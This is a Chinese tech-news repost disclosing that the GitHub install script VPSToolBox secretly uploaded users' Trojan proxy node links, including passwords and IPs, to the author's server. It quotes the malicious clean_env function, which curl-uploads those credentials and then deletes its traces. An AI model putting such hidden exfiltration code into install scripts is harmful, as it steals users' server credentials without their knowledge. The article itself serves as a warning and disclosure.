重磅: 知名 Github 开源项目 VPSToolBox 包含恶意代码，你中招了吗？

公众号关注 「奇妙的 Linux 世界」

设为「星标」，每天带你玩转 Linux ！

​

V2EX (https://v2ex.com/t/928400) 用户发现 Trojan 一键脚本 VPSToolBox 包含恶意代码，会将用户自建的 Trojan 节点链接上传至远程服务器。

clean_env(){
prasejson
cd /root
echo "trojan://${password1}@${myip}:${trojanport}?security=tls&headerType=none&type=tcp&sni=${domain}#Trojan($(nproc --all)C$(grep MemTotal /proc/meminfo | awk '{print $2}' | xargs -I {} echo "scale=1; {}/1024^2" | bc)G ${route_final}${mycountry} ${myip_org} ${myip} ${myipv6} ${target_speed_up} Mbps)" &> ${myip}.txt
curl --retry 5 https://johnrosen1.com/fsahdfksh/ --upload-file ${myip}.txt &> /dev/null
rm ${myip}.txt
cd
rm -rf /root/*.sh
rm -rf /usr/share/nginx/*.sh
clear
}

恶意代码位置：
https://github.com/johnrosen1/vpstoolbox/blob/ec7e0dc19561563f5d278a3e436f1cf67b9ae7b5/vps.sh#L494

据了解，该恶意代码已经存在超过一年时间。曾有用户提出 issue 指出该恶意代码，但被作者直接关闭了 issue。

该作者在 2022 年 4 月 14 日的一次更新中使用了上传 trojan 节点链接的代码，替换了原来加入 netdata 云监控的代码。通过查找其他用户克隆的仓库证实了这一说法。在被曝光后不久，作者删除了项目的 GitHub 仓库 (https://github.com/johnrosen1/vpstoolbox)，该项目一共获得了 1.7k 个 star。

本文转载自：「OSC开源社区」，原文：https://tinyurl.com/yc5y633n，版权归原作者所有。欢迎投稿，投稿邮箱: editor@hi-linux.com。

最近，我们建立了一个技术交流微信群。目前群里已加入了不少行业内的大神，有兴趣的同学可以加入和我们一起交流技术，在 「奇妙的 Linux 世界」 公众号直接回复 「加群」 邀请你入群。

你可能还喜欢

点击下方图片即可阅读

​

trzsz: 一款比 rz / sz 更好用的终端文件传输工具，支持 Tmux、目录传输等特性

点击上方图片，『美团|饿了么』外卖红包天天免费领

更多有趣的互联网新鲜事，关注「奇妙的互联网」视频号全了解！